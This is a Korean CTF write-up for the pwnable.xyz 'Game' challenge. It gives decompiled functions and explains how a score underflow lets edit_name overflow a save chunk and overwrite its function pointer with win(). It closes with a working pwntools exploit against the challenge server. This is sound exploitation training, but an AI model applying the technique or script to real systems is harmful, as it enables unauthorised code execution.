[pwnable.xyz]Game

메인이다. 메뉴는 총 4개가 있다.

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  const char *v3; // rdi
  signed int v4; // eax

  setup();
  v3 = "Shell we play a game?";
  puts("Shell we play a game?");
  init_game();
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu(v3, argv);
      v3 = "> ";
      printf("> ");
      v4 = read_int32();
      if ( v4 != 1 )
        break;
      (*(cur + 3))();
    }
    if ( v4 > 1 )
    {
      if ( v4 == 2 )
      {
        save_game();
      }
      else
      {
        if ( v4 != 3 )
          goto LABEL_13;
        edit_name();
      }
    }
    else
    {
      if ( !v4 )
        exit(1);
LABEL_13:
      v3 = "Invalid";
      puts("Invalid");
    }
  }
}

우선 init_game 함수를 보면 *cur에 name입력받은 16바이트 저장한다. 그리고 *(cur+3)에 play_game함수를 저장한다.

char *init_game()
{
  char *result; // rax

  saves[0] = malloc(32uLL);
  cur = find_last_save();
  printf("Name: ");
  read(0, cur, 16uLL);
  result = cur;
  *(cur + 3) = play_game;
  return result;
}

이 함수는 별거 없다.

unsigned __int64 play_game()
{
  __int16 v0; // dx
  __int16 v1; // dx
  __int16 v2; // dx
  __int16 v3; // dx
  int fd; // [rsp+Ch] [rbp-124h]
  int v6; // [rsp+10h] [rbp-120h]
  unsigned int buf; // [rsp+14h] [rbp-11Ch]
  unsigned int v8; // [rsp+18h] [rbp-118h]
  unsigned __int8 v9; // [rsp+1Ch] [rbp-114h]
  char s; // [rsp+20h] [rbp-110h]
  unsigned __int64 v11; // [rsp+128h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  fd = open("/dev/urandom", 0);
  if ( fd == -1 )
  {
    puts("Can't open /dev/urandom");
    exit(1);
  }
  read(fd, &buf, 0xCuLL);
  close(fd);
  v9 &= 3u;
  memset(&s, 0, 0x100uLL);
  snprintf(&s, 0x100uLL, "%u %c %u = ", buf, ops[v9], v8);
  printf("%s", &s);
  v6 = read_int32();
  if ( v9 == 1 )
  {
    if ( buf - v8 == v6 )
      v1 = *(cur + 8) + 1;
    else
      v1 = *(cur + 8) - 1;
    *(cur + 8) = v1;
  }
  else if ( v9 > 1 )
  {
    if ( v9 == 2 )
    {
      if ( buf / v8 == v6 )
        v2 = *(cur + 8) + 1;
      else
        v2 = *(cur + 8) - 1;
      *(cur + 8) = v2;
    }
    else if ( v9 == 3 )
    {
      if ( v8 * buf == v6 )
        v3 = *(cur + 8) + 1;
      else
        v3 = *(cur + 8) - 1;
      *(cur + 8) = v3;
    }
  }
  else if ( !v9 )
  {
    if ( v8 + buf == v6 )
      v0 = *(cur + 8) + 1;
    else
      v0 = *(cur + 8) - 1;
    *(cur + 8) = v0;
  }
  return __readfsqword(0x28u) ^ v11;
}

save_game 함수는 청크를 복사해준다.

int save_game()
{
  _QWORD *v0; // rcx
  __int64 v1; // rdx
  __int64 v2; // rdx
  __int64 v3; // rax
  signed int i; // [rsp+Ch] [rbp-4h]

  for ( i = 1; i <= 4; ++i )
  {
    if ( !saves[i] )
    {
      saves[i] = malloc(32uLL);
      v0 = saves[i];
      v1 = *(cur + 1);
      *v0 = *cur;
      v0[1] = v1;
      *(saves[i] + 16) = *(cur + 8);
      *(saves[i] + 24) = play_game;
      v2 = i;
      v3 = saves[v2];
      cur = saves[v2];
      return v3;
    }
  }
  LODWORD(v3) = puts("Not enough space.");
  return v3;
}

edit_name() 함수에서는 name만큼 값을 쓸 수 있다.

ssize_t edit_name()
{
  size_t v0; // rax

  v0 = strlen(cur);
  return read(0, cur, v0);
}

구조체는 name, score, fucntion *ptr 이런식으로 되있을 거다.

익스할 때 처음에 일단 name에서 16개를 꽉 채워서 보내는 이유는 size와 합쳐져서 널 바이트를 없애 3번 메뉴에서 더 많이 받을 수 있다.

우선 1번 메뉴 play를 해서 지면 score이 -1이 된걸 볼 수 있는데 디버깅해보면 값은 0xffff가 들어간다. 이제 save로 복사하면 새로운 청크가 생기면서 값들이 복사된다. 여기서0xffffffffffffffff가 들어간다.

그래서 name(16) + 0xffffffffffffffff(8) + 0x0400aca(3) 이렇게 된다. 그래서 우리는 총 27바이트를 입력할 수 있다. 이제 0x0400aca를 덮을 수 있다. 3바이트를 덮을 수 있으니까 0x4009d6주소인 win으로 덮으면 1번 메뉴 실행할 때마다 win함수가 실행될거다.

exploit.py

from pwn import *

context.log_level = 'debug'
e = ELF('./challenge')
#p = process('./challenge')
p = remote('svc.pwnable.xyz',30009)

p.sendafter(':','A'*16) # name
p.sendlineafter('>','1') # play
p.sendafter('=','1') # anything
p.sendlineafter('>','2') # save
p.sendlineafter('>','3') # read(0,cur,sizeof(cur))
payload = 'A'*24 + p16(0x9d6) # size -> 2byte & 0x4009d6 -> win();
p.send(payload)

p.interactive()